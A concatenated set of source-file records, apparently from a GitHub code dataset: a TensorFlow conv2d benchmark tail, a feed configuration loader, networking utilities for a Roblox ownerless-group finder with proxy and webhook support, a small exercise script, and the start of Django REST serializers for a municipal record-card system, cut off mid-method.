w, in_channel]\n stride = [1] + hw_stride + [1]\n elif data_format == \"NCHW\":\n ishape = [batch_size, in_channel, h, w]\n stride = [1, 1] + hw_stride\n else:\n raise ValueError(\"Unknown data_format: \" + str(data_format))\n fshape = [fh, fw, in_channel, out_channel]\n num_iters = 80\n warmup_iters = 2\n self._run_graph(\"gpu\", dtype, data_format, ishape, fshape, stride,\n padding, num_iters, warmup_iters)\n\n\nif __name__ == \"__main__\":\n test.main()\n","repo_name":"tensorflow/tensorflow","sub_path":"tensorflow/python/ops/conv2d_benchmark.py","file_name":"conv2d_benchmark.py","file_ext":"py","file_size_in_byte":7494,"program_lang":"python","lang":"en","doc_type":"code","stars":178918,"dataset":"github-code","pt":"18"} +{"seq_id":"6437119158","text":"import configparser\nimport re\nfrom src.FeedSource import FeedSource\n\nclass Config:\n def __init__( self, filename ):\n config = configparser.ConfigParser()\n config.read(filename)\n self.sites = list()\n for section_name in config.sections():\n if section_name == \"main\":\n self.site_name = config.get( 'main', 'site_name' )\n self.theme = config.get( 'main', 'theme' )\n self.subtitle = config.get( 'main', 'subtitle' )\n self.cache_dir = config.get( 'main', 'cache_dir' )\n else:\n tags_processed = config.get( section_name, 'tags' )\n self.sites.append(\n FeedSource(\n feed_url=config.get(section_name, 'url'),\n title=section_name,\n tags=re.split( r',\\s*|\\s+', tags_processed ),\n tag_filter=config.getboolean( section_name, 'tag_filter' )\n )\n )\n\n def get_site_by_uid(self, uid ):\n for site in self.sites:\n if site.uid == uid:\n return site","repo_name":"SILO-GROUP/DarkFeed","sub_path":"src/Config.py","file_name":"Config.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14931915966","text":"from .constants import EMBED_FOOTER_TEXT\nfrom socket import socket\nfrom json import dumps as json_dumps\nfrom base64 import b64encode\n\nssl_context = __import__(\"ssl\").create_default_context()\n\ndef parse_proxy_string(proxy_str):\n proxy_str = proxy_str.rpartition(\"://\")[2]\n auth, _, fields = proxy_str.rpartition(\"@\")\n fields = fields.split(\":\", 2)\n\n if len(fields) == 2:\n hostname, port = fields\n if auth:\n auth = \"Basic \" + b64encode(auth.encode()).decode()\n elif len(fields) == 3:\n hostname, port, auth = fields\n auth = \"Basic \" + b64encode(auth.encode()).decode()\n else:\n raise Exception(f\"Unrecognized proxy format: {proxy_str}\")\n\n addr = (hostname.lower(), int(port))\n return auth, addr\n\ndef parse_batch_response(data, limit):\n index = 10\n status_assoc = {}\n for _ in range(limit):\n id_index = data.find(b'\"id\":', index)\n if id_index == -1:\n break\n index = data.find(b\",\", id_index + 5)\n group_id = data[id_index + 5 : index]\n index = data.find(b'\"owner\":', index) + 8\n status_assoc[group_id] = (data[index] == 123)\n index += 25\n return status_assoc\n\ndef find_latest_group_id():\n group_id = 0\n sock = make_http_socket((\"www.roblox.com\", 443))\n\n def exists(group_id):\n sock.send(f\"GET /groups/{group_id}/- HTTP/1.1\\nHost:www.roblox.com\\n\\n\".encode())\n resp = sock.recv(1048576)\n return not b\"location: https://www.roblox.com/search/groups?keyword=\" in resp\n\n for l in range(8, 0, -1):\n num = int(\"1\" + (\"0\" * (l - 1)))\n for inc in range(1, 10):\n if inc == 9 or not exists(group_id + (num * inc)):\n group_id += num * (inc - 1)\n break\n\n return group_id\n\ndef send_webhook(url, **kwargs):\n payload = json_dumps(kwargs, separators=(\",\", \":\"))\n hostname, path = url.split(\"://\", 1)[1].split(\"/\", 1)\n https = url.startswith(\"https\")\n if \":\" in hostname:\n hostname, port = hostname.split(\":\", 1)\n port = int(port)\n else:\n port = 443 if https else 80\n\n sock = make_http_socket((hostname, port), ssl_wrap=https)\n try:\n sock.send(\n f\"POST /{path} HTTP/1.1\\r\\n\"\n f\"Host: {hostname}\\r\\n\"\n f\"Content-Length: {len(payload)}\\r\\n\"\n \"Content-Type: application/json\\r\\n\"\n \"\\r\\n\"\n f\"{payload}\".encode())\n sock.recv(4096)\n finally:\n shutdown_socket(sock)\n\ndef make_embed(group_info, date):\n return dict(\n title=\"Found claimable group\",\n url=f\"https://www.roblox.com/groups/{group_info['id']}\",\n fields=[\n dict(name=\"Group ID\", value=group_info[\"id\"]),\n dict(name=\"Group Name\", value=group_info[\"name\"]),\n dict(name=\"Group Members\", value=group_info[\"memberCount\"])\n ],\n footer=dict(\n text=EMBED_FOOTER_TEXT\n ),\n timestamp=date.isoformat()\n )\n\ndef make_http_socket(addr, timeout=5, proxy_addr=None, proxy_headers=None,\n ssl_wrap=True, hostname=None): \n sock = socket()\n sock.settimeout(timeout)\n sock.connect(proxy_addr or addr)\n \n try:\n if proxy_addr:\n sock.send(\"\".join([\n f\"CONNECT {addr[0]}:{addr[1]} HTTP/1.1\\r\\n\",\n *([\n f\"{header}: {value}\\r\\n\"\n for header, value in proxy_headers.items()\n ] if proxy_headers else []),\n \"\\r\\n\"\n ]).encode())\n connect_resp = sock.recv(4096)\n if not (\n connect_resp.startswith(b\"HTTP/1.1 200\") or\\\n connect_resp.startswith(b\"HTTP/1.0 200\")\n ):\n raise ConnectionRefusedError\n\n if ssl_wrap:\n sock = ssl_context.wrap_socket(\n sock, False, False, False, hostname or addr[0])\n sock.do_handshake()\n\n return sock\n\n except:\n shutdown_socket(sock)\n raise\n\ndef shutdown_socket(sock):\n try:\n sock.shutdown(2)\n except OSError:\n pass\n sock.close()\n\ndef slice_list(lst, num, total):\n per = int(len(lst)/total)\n chunk = lst[per * num : per * (num + 1)]\n return chunk\n\ndef slice_range(r, num, total):\n per = int((r[1]-r[0]+1)/total)\n return (\n r[0] + (num * per),\n r[0] + ((num + 1) * per)\n )","repo_name":"FruityDiscordToucher/h0nde-Group-Finder","sub_path":"core/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4424,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"73054092201","text":"# Given 2 numbers N and K followed by elements of N .Print 'yes' if K exists else print 'no'.\n# Sample Testcase :\n# INPUT\n# 4 2\n# 1 2 3 3\n# OUTPUT\n# yes\n\nn,k = map(str,input().split())\nl = list(input().split())\nx = l.count(k)\nprint(x)\nif x>0:\n print(\"yes\")\nelse:\n print(\"no\")","repo_name":"Stk11/Guvi-codekata","sub_path":"Basics/q9.py","file_name":"q9.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"86617043476","text":"from bs4 import BeautifulSoup\nfrom django.conf import settings\nfrom django.core.validators import RegexValidator\nfrom django.db import transaction\nfrom django.utils import timezone\nfrom django.utils.translation import gettext_lazy as _\nfrom drf_chunked_upload.serializers import ChunkedUploadSerializer\nfrom drf_yasg.utils import swagger_serializer_method\nfrom rest_framework import serializers\nfrom rest_framework.exceptions import ValidationError\nfrom rest_framework.fields import empty\nfrom rest_framework.reverse import reverse\n\nfrom ariadna.models import Ariadna, AriadnaRecord\nfrom features.models import Values\nfrom features.serializers import FeatureSerializer\nfrom integrations.models import ExternalRecordId\nfrom iris_masters.models import (ApplicantType, InputChannel, Reason, RecordState, ResponseChannel, Support,\n ResolutionType, CommunicationMedia, Parameter, InputChannelSupport)\nfrom iris_masters.permissions import ADMIN\nfrom iris_masters.serializers import (InputChannelSerializer, RecordStateSerializer, RecordTypeSerializer,\n SupportSerializer, SupportShortSerializer, InputChannelShortSerializer,\n CommunicationMediaSerializer, ApplicantTypeSerializer,\n RecordStateRegularSerializer, RecordTypeRegularSerializer,\n ShortRecordTypeSerializer, ResolutionTypeSerializer)\nfrom main.api.serializers import (IrisSerializer, ManyToManyExtendedSerializer, SerializerCreateExtraMixin,\n SerializerUpdateExtraMixin, GetGroupFromRequestMixin)\nfrom main.api.validators import WordsLengthValidator, WordsLengthAllowBlankValidator\nfrom main.utils import LANGUAGES, SPANISH, ENGLISH, get_user_traceability_id\nfrom profiles.models import GroupInputChannel, Group\nfrom profiles.permissions import IrisPermissionChecker\nfrom profiles.serializers import GroupShortSerializer, ResponsibleProfileRegularSerializer\nfrom profiles.tasks import send_allocated_notification\nfrom record_cards.permissions import (MAYORSHIP, RESP_CHANNEL_UPDATE, RESP_WORKED,\n RECARD_THEME_CHANGE_AREA, CITIZENS_DELETE, RECARD_MULTIRECORD,\n RECARD_REASSIGN_OUTSIDE)\nfrom record_cards.record_actions.actions import RecordActions\nfrom record_cards.record_actions.alarms import RecordCardAlarms\nfrom record_cards.record_actions.normalized_reference import set_reference\nfrom record_cards.record_actions.record_files import GroupManageFiles\nfrom record_cards.record_actions.update_fields import RecordDictUpdateFields, UpdateComment\nfrom reports.serializers import UbicationAttributeMixin\nfrom themes.actions.possible_theme_change import PossibleThemeChange\nfrom themes.models import ElementDetail, ElementDetailFeature\nfrom themes.serializers import ElementDetailSerializer, ElementDetailShortSerializer, \\\n ElementDetailDescriptionSerializer, ElementDetailRegularSerializer\n\nfrom .models import (Applicant, ApplicantResponse, Citizen, Comment, RecordCard, RecordCardFeatures,\n RecordCardResponse, RecordCardSpecialFeatures, Request, SocialEntity, Ubication,\n RecordCardBlock, RecordCardTextResponse, RecordCardReasignation, Workflow, WorkflowComment,\n WorkflowResolution, WorkflowPlan, RecordFile, RecordChunkedFile, InternalOperator,\n RecordCardTextResponseFiles, WorkflowResolutionExtraFields)\nfrom rest_framework.status import HTTP_400_BAD_REQUEST\nfrom rest_framework.response import Response\n\nclass UbicationValidationMixin:\n def run_validation(self, data=empty):\n validated_data = super().run_validation(data)\n\n element_detail = self.context.get(\"element_detail\")\n if not element_detail:\n raise ValidationError({\"non_field_errors\": _(\"Element Detail is required for ubication validation\")})\n\n data_errors = {}\n self.check_ubication_required_fields(validated_data, element_detail, data_errors)\n\n if data_errors:\n raise ValidationError(data_errors)\n\n return validated_data\n\n def check_ubication_required_fields(self, validated_data, element_detail, data_errors):\n \"\"\"\n Check ubication required fields\n\n :param validated_data: Dict with validated data of the serializer\n :param element_detail: element detail to check data\n :param data_errors: dict for validation errors\n :return:\n \"\"\"\n if element_detail.requires_ubication:\n self.check_requires_ubication(validated_data, data_errors)\n elif element_detail.requires_ubication_district:\n self.check_requires_district_ubication(validated_data, data_errors)\n\n @staticmethod\n def check_requires_ubication(validated_data, data_errors):\n \"\"\"\n Check ubication required fields when element detail requires ubication\n\n :param validated_data: Dict with validated data of the serializer\n :param data_errors: dict for validation errors\n :return:\n \"\"\"\n if not validated_data.get(\"via_type\"):\n data_errors[\"via_type\"] = _(\"Via type is required with this Element Detail\")\n if not validated_data.get(\"street\"):\n data_errors[\"street\"] = _(\"Street is required with this Element Detail\")\n if not validated_data.get(\"street2\"):\n data_errors[\"street2\"] = _(\"Street2 is required with this Element Detail\")\n\n @staticmethod\n def check_requires_district_ubication(validated_data, data_errors):\n \"\"\"\n Check ubication required fields when element detail requires district ubication\n\n :param validated_data: Dict with validated data of the serializer\n :param data_errors: dict for validation errors\n :return:\n \"\"\"\n if not validated_data.get(\"district\"):\n data_errors[\"district\"] = _(\"District is required with this Element Detail\")\n\n\nclass UbicationSerializer(SerializerCreateExtraMixin, UbicationValidationMixin, serializers.ModelSerializer):\n class Meta:\n model = Ubication\n fields = (\"id\", \"via_type\", \"official_street_name\", \"street\", \"street2\", \"neighborhood\", \"neighborhood_b\",\n \"neighborhood_id\", \"district\", \"statistical_sector\", \"geocode_validation\", \"geocode_district_id\",\n \"research_zone\", \"stair\", \"floor\", \"door\", \"letter\", \"coordinate_x\", \"coordinate_y\",\n \"coordinate_utm_x\", \"coordinate_utm_y\", \"latitude\", \"longitude\", \"xetrs89a\", \"yetrs89a\",\n \"numbering_type\")\n\n\nclass UbicationSerializerMobile(SerializerCreateExtraMixin, serializers.ModelSerializer):\n class Meta:\n model = Ubication\n fields = (\"id\", \"via_type\", \"official_street_name\", \"street\", \"street2\", \"neighborhood\", \"neighborhood_b\",\n \"neighborhood_id\", \"district\", \"statistical_sector\", \"geocode_validation\", \"geocode_district_id\",\n \"research_zone\", \"stair\", \"floor\", \"door\", \"letter\", \"coordinate_x\", \"coordinate_y\",\n \"coordinate_utm_x\", \"coordinate_utm_y\", \"latitude\", \"longitude\", \"xetrs89a\", \"yetrs89a\",\n \"numbering_type\", \"letterFi\", \"numFi\")\n\n def run_validation(self, data=empty):\n \"\"\"\n We override the default `run_validation`, because the validation\n performed by validators and the `.validate()` method should\n be coerced into an error dictionary with a \"non_fields_error\" key.\n \"\"\"\n\n return super().run_validation(data)\n\n\nclass UbicationShortSerializer(serializers.ModelSerializer):\n class Meta:\n model = Ubication\n fields = (\"id\", \"street\", \"street2\", \"xetrs89a\", \"yetrs89a\", \"district\")\n read_only_fields = fields\n\n\nclass ApplicantCantDeleteMixin:\n # Mixin to control if a user can or can not delete an Applicant, Citizen or Social Entity item\n # A can_delete SerializerMethodField must be added to serializer\n\n def get_can_delete(self, obj):\n request = self.context.get(\"request\")\n if not request:\n return False\n permission_checker = IrisPermissionChecker.get_for_user(request.user)\n return permission_checker.has_permission(CITIZENS_DELETE)\n\n\nclass CitizenSerializer(SerializerCreateExtraMixin, ApplicantCantDeleteMixin, GetGroupFromRequestMixin,\n serializers.ModelSerializer):\n can_delete = serializers.SerializerMethodField()\n\n class Meta:\n model = Citizen\n fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\", \"name\", \"first_surname\", \"second_surname\",\n \"full_normalized_name\", \"normalized_name\", \"normalized_first_surname\", \"normalized_second_surname\",\n \"dni\", \"birth_year\", \"sex\", \"language\", \"response\", \"district\", \"doc_type\", \"mib_code\", \"blocked\",\n \"can_delete\")\n read_only_fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\", \"full_normalized_name\", \"normalized_name\",\n \"normalized_first_surname\", \"normalized_second_surname\", \"response\", \"mib_code\",\n \"can_delete\")\n\n def __init__(self, instance=None, data=empty, **kwargs) -> None:\n super().__init__(instance, data, **kwargs)\n if self.instance:\n self.fields[\"dni\"].read_only = True\n\n def validate(self, attrs):\n if not self.fields[\"dni\"].read_only:\n citizen_pk = self.instance.pk if self.instance else None\n Citizen.check_no_repeat_dni(attrs.get(\"dni\"), citizen_pk)\n return attrs\n\n def run_validation(self, data=empty):\n validated_data = super().run_validation(data)\n group = self.get_group_from_request(self.context[\"request\"])\n validation_errors = {}\n if validated_data:\n dni = validated_data.get(\"dni\")\n if dni and Applicant.is_nd_doc(dni) and not settings.CITIZEN_ND_ENABLED:\n validation_errors[\"dni\"] = _(\"Citizen ND logic is not enabled, not allowed to create citizens with \"\n \"dni ND\")\n if dni and Applicant.is_nd_doc(dni) and group.citizen_nd is False:\n validation_errors[\"dni\"] = _(\"User group is not allowed to create citizens with dni ND\")\n if not validated_data.get(\"language\"):\n validation_errors[\"language\"] = _(\"This field is required\")\n if validation_errors:\n raise ValidationError(validation_errors, code=\"required\")\n\n self.update_normalized_fields(validated_data)\n\n return validated_data\n\n @staticmethod\n def update_normalized_fields(validated_data):\n validated_data[\"normalized_name\"] = validated_data.get(\"name\", \"\")\n validated_data[\"normalized_first_surname\"] = validated_data.get(\"first_surname\", \"\")\n validated_data[\"normalized_second_surname\"] = validated_data.get(\"second_surname\", \"\")\n validated_data[\"full_normalized_name\"] = \"{} {} {}\".format(validated_data.get(\"name\", \"\"),\n validated_data.get(\"first_surname\", \"\"),\n validated_data.get(\"second_surname\", \"\"))\n\n\nclass CitizenRegularSerializer(serializers.Serializer):\n id = serializers.IntegerField()\n name = serializers.CharField()\n first_surname = serializers.CharField()\n second_surname = serializers.CharField()\n dni = serializers.CharField()\n blocked = serializers.BooleanField()\n language = serializers.CharField()\n birth_year = serializers.IntegerField()\n\n\nclass SocialEntitySerializer(SerializerCreateExtraMixin, ApplicantCantDeleteMixin, serializers.ModelSerializer):\n can_delete = serializers.SerializerMethodField()\n\n class Meta:\n model = SocialEntity\n fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\", \"social_reason\", \"normal_social_reason\", \"contact\",\n \"cif\", \"language\", \"response\", \"district\", \"mib_code\", \"blocked\", \"can_delete\")\n read_only_fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\", \"normal_social_reason\", \"response\", \"mib_code\",\n \"can_delete\")\n\n def __init__(self, instance=None, data=empty, **kwargs) -> None:\n super().__init__(instance, data, **kwargs)\n if self.instance:\n self.fields[\"cif\"].read_only = True\n\n def validate(self, attrs):\n if not self.fields[\"cif\"].read_only:\n social_entity_pk = self.instance.pk if self.instance else None\n SocialEntity.check_no_repeat_cif(attrs.get(\"cif\"), social_entity_pk)\n return attrs\n\n def run_validation(self, data=empty):\n validated_data = super().run_validation(data)\n if validated_data and not validated_data.get(\"language\"):\n raise ValidationError({\"language\": _(\"This field is required\")}, code=\"required\")\n return validated_data\n\n\nclass SocialEntityRegularSerializer(serializers.Serializer):\n id = serializers.IntegerField()\n cif = serializers.CharField()\n social_reason = serializers.CharField()\n blocked = serializers.BooleanField()\n language = serializers.CharField()\n contact = serializers.CharField()\n\n\nclass ApplicantResponseSerializer(SerializerCreateExtraMixin, serializers.ModelSerializer):\n class Meta:\n model = ApplicantResponse\n fields = \"__all__\"\n read_only_fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\")\n\n @property\n def data(self):\n data = super().data\n data.update({\"send_response\": self.context.get(\"send_response\", True)})\n return data\n\n\nclass ApplicantSerializer(SerializerCreateExtraMixin, SerializerUpdateExtraMixin, ApplicantCantDeleteMixin,\n serializers.ModelSerializer):\n can_delete = serializers.SerializerMethodField()\n extra_actions = True\n\n citizen = CitizenSerializer(required=False, allow_null=True)\n social_entity = SocialEntitySerializer(required=False, allow_null=True)\n\n class Meta:\n model = Applicant\n fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\", \"flag_ca\", \"citizen\", \"social_entity\", \"can_delete\",\n \"deleted\")\n read_only_fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\", \"can_delete\")\n\n def __init__(self, instance=None, data=empty, **kwargs):\n super().__init__(instance, data, **kwargs)\n\n if isinstance(instance, Applicant):\n self.fields[\"citizen\"].instance = instance.citizen\n self.fields[\"social_entity\"].instance = instance.social_entity\n\n def validate(self, attrs):\n Applicant.check_citizen_social_entity_assignation(attrs.get(\"citizen\"), attrs.get(\"social_entity\"))\n return attrs\n\n def do_extra_actions_on_create(self, validated_data):\n \"\"\"\n Perform extra actions on create\n :param validated_data: Dict with validated data of the serializer\n :return:\n \"\"\"\n self.set_citizen_social_entity(validated_data)\n\n def do_extra_actions_on_update(self, validated_data):\n \"\"\"\n Perform extra actions on update\n :param validated_data: Dict with validated data of the serializer\n :return:\n \"\"\"\n self.set_citizen_social_entity(validated_data)\n\n def set_citizen_social_entity(self, validated_data):\n \"\"\"\n :param validated_data: Dict with validated data of the serializer\n :return:\n \"\"\"\n if self.initial_data.get(\"citizen\"):\n try:\n citizen = Citizen.objects.get(pk=self.initial_data[\"citizen\"][\"id\"])\n except (Citizen.DoesNotExist, KeyError):\n citizen = Citizen()\n for field, value in validated_data[\"citizen\"].items():\n setattr(citizen, field, value)\n citizen.save()\n validated_data[\"citizen\"] = citizen\n\n if self.initial_data.get(\"social_entity\"):\n try:\n social_entity = SocialEntity.objects.get(pk=self.initial_data[\"social_entity\"][\"id\"])\n except (SocialEntity.DoesNotExist, KeyError):\n social_entity = SocialEntity()\n\n for field, value in validated_data[\"social_entity\"].items():\n setattr(social_entity, field, value)\n social_entity.save()\n validated_data[\"social_entity\"] = social_entity\n\n\nclass ApplicantRegularSerializer(serializers.Serializer):\n id = serializers.IntegerField()\n flag_ca = serializers.BooleanField()\n citizen = CitizenRegularSerializer(required=False, allow_null=True)\n social_entity = SocialEntityRegularSerializer(required=False, allow_null=True)\n\n\nclass RequestSerializer(SerializerCreateExtraMixin, serializers.ModelSerializer):\n applicant_id = serializers.PrimaryKeyRelatedField(\n source=\"applicant\", queryset=Applicant.objects.all(),\n error_messages={\"does_not_exist\": _(\"The selected record_type does not exist or is not enabled\")})\n applicant = ApplicantSerializer(read_only=True)\n\n class Meta:\n model = Request\n fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\", \"enabled\", \"normalized_id\", \"applicant\", \"applicant_id\",\n \"applicant_type\", \"application\", \"input_channel\", \"communication_media\")\n read_only_fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\")\n\n\nclass InternalOperatorSerializer(SerializerCreateExtraMixin, serializers.ModelSerializer):\n can_delete = serializers.BooleanField(source=\"can_be_deleted\", required=False, read_only=True)\n\n applicant_type = ApplicantTypeSerializer(read_only=True)\n applicant_type_id = serializers.PrimaryKeyRelatedField(\n source=\"applicant_type\", queryset=ApplicantType.objects.all(),\n error_messages={\"does_not_exist\": _(\"The selected applicant type does not exist or is not enabled\")})\n input_channel = InputChannelSerializer(read_only=True)\n input_channel_id = serializers.PrimaryKeyRelatedField(\n source=\"input_channel\", queryset=InputChannel.objects.all(),\n error_messages={\"does_not_exist\": _(\"The selected input_channel does not exist or is not enabled\")})\n\n class Meta:\n model = InternalOperator\n fields = (\"id\", \"user_id\", \"document\", \"applicant_type\", \"applicant_type_id\", \"input_channel\",\n \"input_channel_id\", \"can_delete\")\n read_only_fields = (\"id\", \"user_id\", \"applicant_type\", \"input_channel\", \"can_delete\")\n\n def run_validation(self, data=empty):\n\n try:\n validated_data = super().run_validation(data)\n except ValidationError as e:\n if self._check_unique_validation_error(e.detail.get(\"non_field_errors\", [])):\n raise ValidationError({\"non_field_errors\": _(\"The internal operator alredy exists\")})\n else:\n raise e\n\n validation_errors = {}\n self.check_internal_operator_repeated(validated_data, validation_errors)\n if validation_errors:\n raise ValidationError(validation_errors)\n return validated_data\n\n @staticmethod\n def _check_unique_validation_error(non_field_errors):\n for error in non_field_errors:\n if error.code == \"unique\":\n return True\n return False\n\n def check_internal_operator_repeated(self, validated_data, validation_errors):\n exclude_kwargs = {}\n if self.instance:\n exclude_kwargs[\"pk\"] = self.instance.pk\n internal_operators = InternalOperator.objects.filter(\n document__iexact=validated_data[\"document\"],\n applicant_type=validated_data[\"applicant_type\"],\n input_channel=validated_data[\"input_channel\"]\n )\n if internal_operators.exclude(**exclude_kwargs).exists():\n validation_errors.update({\"document\": _(\"This combination has alredy been set\")})\n\n\nclass RecordCardFeaturesSerializer(serializers.ModelSerializer):\n description = serializers.StringRelatedField(source=\"feature\", read_only=True)\n\n class Meta:\n model = RecordCardFeatures\n fields = (\"feature\", \"value\", \"description\")\n\n\nclass RecordCardSpecialFeaturesSerializer(serializers.ModelSerializer):\n description = serializers.StringRelatedField(source=\"feature\", read_only=True)\n\n class Meta:\n model = RecordCardSpecialFeatures\n fields = (\"feature\", \"value\", \"description\")\n\n\nclass CommentSerializer(SerializerCreateExtraMixin, serializers.ModelSerializer):\n extra_actions = True\n\n class Meta:\n model = Comment\n fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\", \"group\", \"reason\", \"record_card\", \"enabled\", \"comment\")\n read_only_fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\")\n\n def do_extra_actions_on_create(self, validated_data):\n \"\"\"\n Perform extra actions on create\n :param validated_data: Dict with validated data of the serializer\n :return:\n \"\"\"\n request = self.context.get(\"request\")\n user = request.user\n validated_data[\"group\"] = user.usergroup.group if request and hasattr(user, \"usergroup\") else None\n\n\nclass RecordCardTextResponseFilesSerializer(SerializerCreateExtraMixin, serializers.ModelSerializer):\n filename = serializers.StringRelatedField(source=\"record_file.filename\", read_only=True)\n file = serializers.FileField(source=\"record_file.file\", read_only=True)\n\n class Meta:\n model = RecordCardTextResponseFiles\n fields = (\"record_file\", \"filename\", \"file\")\n\n\nclass RecordCardTextResponseSerializer(SerializerCreateExtraMixin, SerializerUpdateExtraMixin,\n serializers.ModelSerializer):\n post_create_extra_actions = True\n\n send_date = serializers.DateField(input_formats=(\"%Y-%m-%d\",))\n notify_quality = serializers.BooleanField(default=False, required=False)\n avoid_send = serializers.BooleanField(default=False, required=False)\n record_files = ManyToManyExtendedSerializer(source=\"recordcardtextresponsefiles_set\", required=False,\n **{\"many_to_many_serializer\": RecordCardTextResponseFilesSerializer,\n \"model\": RecordCardTextResponseFiles,\n \"related_field\": \"text_response\", \"to\": \"record_file\"})\n\n class Meta:\n model = RecordCardTextResponse\n fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\", \"record_card\", \"response\", \"send_date\", \"worked\",\n \"notify_quality\", \"record_files\", \"avoid_send\")\n read_only_fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\")\n\n def __init__(self, instance=None, data=empty, **kwargs):\n self.record_card = None\n if data is not empty and not data.get(\"record_card\"):\n data[\"record_card\"] = kwargs[\"context\"][\"record_card\"].pk\n self.record_card = kwargs[\"context\"].get(\"record_card\")\n if instance:\n self.record_card = instance.record_card\n setattr(instance, \"notify_quality\", self.record_card.notify_quality is True)\n if not self.record_card and data is not empty and data.get(\"record_card\"):\n self.record_card = RecordCard.objects.get(id=data.get(\"record_card\"))\n super().__init__(instance, data, **kwargs)\n\n def save(self, **kwargs):\n if self.record_card:\n self.record_card.notify_quality = self.validated_data.pop(\"notify_quality\", False)\n self.record_card.save(update_fields=['notify_quality'])\n return super().save(**kwargs)\n\n def run_validation(self, data=empty):\n validated_data = super().run_validation(data)\n validation_errors = {}\n self.check_worked(validated_data, validation_errors)\n self.check_response_files(validated_data, validation_errors)\n if validation_errors:\n raise ValidationError(validation_errors, code=\"invalid\")\n return validated_data\n\n def check_worked(self, validated_data, validation_errors):\n \"\"\"\n Check worked field and if user has permissions to set it\n\n :param validated_data: Dict with validated data of the serializer\n :param validation_errors: dict for validation errors\n :return:\n \"\"\"\n if validated_data.get(\"worked\"):\n request = self.context.get(\"request\")\n if request and not IrisPermissionChecker.get_for_user(request.user).has_permission(RESP_WORKED):\n validation_errors[\"worked\"] = _(\"User has no permission to set this attribute\")\n\n def check_response_files(self, validated_data, validation_errors):\n \"\"\"\n Check response files to ensure that all are related to the same record_card\n\n :param validated_data: Dict with validated data of the serializer\n :param validation_errors: dict for validation errors\n :return:\n \"\"\"\n record_card = validated_data[\"record_card\"]\n text_response_files = validated_data.get(\"recordcardtextresponsefiles_set\", [])\n if text_response_files:\n if record_card.recordcardresponse.response_channel_id not in ResponseChannel.ALLOW_ATTACHMENTS_CHANNELS:\n validation_errors[\"record_files\"] = _(\"RecordCard Response Response Channel does not allow attachments\")\n\n mr_pk = record_card.workflow.main_record_card_id if record_card.workflow_id else record_card.pk\n accepted_record_ids = [record_card.pk, mr_pk]\n for text_response_file in text_response_files:\n if text_response_file[\"record_file\"].record_card_id not in accepted_record_ids:\n validation_errors[\"record_files\"] = _(\"All files must be related to response's RecordCard\")\n\n def do_post_create_extra_actions(self, instance, validated_data):\n \"\"\"\n Perform extra actions on create after the instance creation\n :param instance: Instance of the created object\n :param validated_data: Dict with validated data of the serializer\n :return:\n \"\"\"\n self.register_response_files(instance, validated_data)\n\n def do_extra_actions_on_update(self, validated_data):\n \"\"\"\n Perform extra actions on update\n\n :param validated_data: Dict with validated data of the serializer\n :return:\n \"\"\"\n self.register_response_files(self.instance, validated_data)\n\n def register_response_files(self, related_instance, validated_data):\n \"\"\"\n Perform extra actions on create after the instance creation\n :param related_instance: related response text instance to the files\n :param validated_data: Dict with validated data of the serializer\n :return:\n \"\"\"\n\n if \"record_files\" in self.initial_data:\n serializer_kwargs = {\n \"many_to_many_serializer\": RecordCardTextResponseFilesSerializer, \"model\": RecordCardTextResponseFiles,\n \"related_field\": \"text_response\", \"to\": \"record_file\", \"related_instance\": related_instance\n }\n\n ser = ManyToManyExtendedSerializer(**serializer_kwargs, source=\"recordcardtextresponsefiles_set\",\n data=self.initial_data[\"record_files\"], context=self.context)\n ser.bind(field_name=\"\", parent=self)\n if ser.is_valid():\n ser.save()\n validated_data.pop(ser.source, None)\n\n\nclass RecordCardResponseValidationMixin:\n\n def run_validation(self, data=empty):\n \"\"\"\n Validate a simple representation and return the internal value.\n\n The provided data may be `empty` if no representation was included\n in the input.\n\n May raise `SkipField` if the field should not be included in the\n validated data.\n \"\"\"\n validated_data = super().run_validation(data)\n response_channel_id = validated_data[\"response_channel\"].pk\n validation_errors = {}\n\n if self.context.get(\"record_card_check\", False):\n # Check RecordCard only during record creation or update\n record_card = validated_data.get(\"record_card\")\n if not record_card:\n raise ValidationError({\"record_card\": _(\"RecordCard is required\")})\n\n self.check_language(response_channel_id, record_card, validated_data, validation_errors)\n\n is_intenal_operator, send_response = self.check_applicant_send_response(record_card, validated_data)\n if is_intenal_operator:\n self.check_internal_operator_response_channels(send_response, validated_data, validation_errors)\n if send_response:\n self.check_record_card(record_card, validated_data, validation_errors)\n\n self.check_response_fields(response_channel_id, validated_data, validation_errors)\n\n if validation_errors:\n raise ValidationError(validation_errors, code=\"invalid\")\n\n return validated_data\n\n @staticmethod\n def check_language(response_channel_id, record_card, validated_data, validation_errors):\n # If response channel is none or inmmediate, there's no reason to check the language\n if response_channel_id in ResponseChannel.NON_RESPONSE_CHANNELS:\n return\n\n language = validated_data.get(\"language\")\n if language:\n if language == ENGLISH and not record_card.element_detail.allow_english_lang:\n validation_errors[\"language\"] = _(\"RecordCard Theme does not allow english language at response\")\n\n def check_response_channel(self, response_channel_id, response_channels, validation_errors):\n \"\"\"\n Check response channels\n\n :param response_channel_id: Response Channel id of record card response\n :param response_channels: Element detaul Response channels manager\n :param validation_errors: dict for validation errors\n :return:\n \"\"\"\n if response_channel_id is None:\n validation_errors[\"response_channel\"] = _(\"This field is required\")\n\n response_channels_themes_ids = response_channels.filter(\n enabled=True, responsechannel__enabled=True).values_list(\"responsechannel_id\", flat=True)\n if response_channel_id not in response_channels_themes_ids:\n validation_errors[\"response_channel\"] = _(\"This response channel is not allowed for this record card theme\")\n\n def check_record_card(self, record_card, 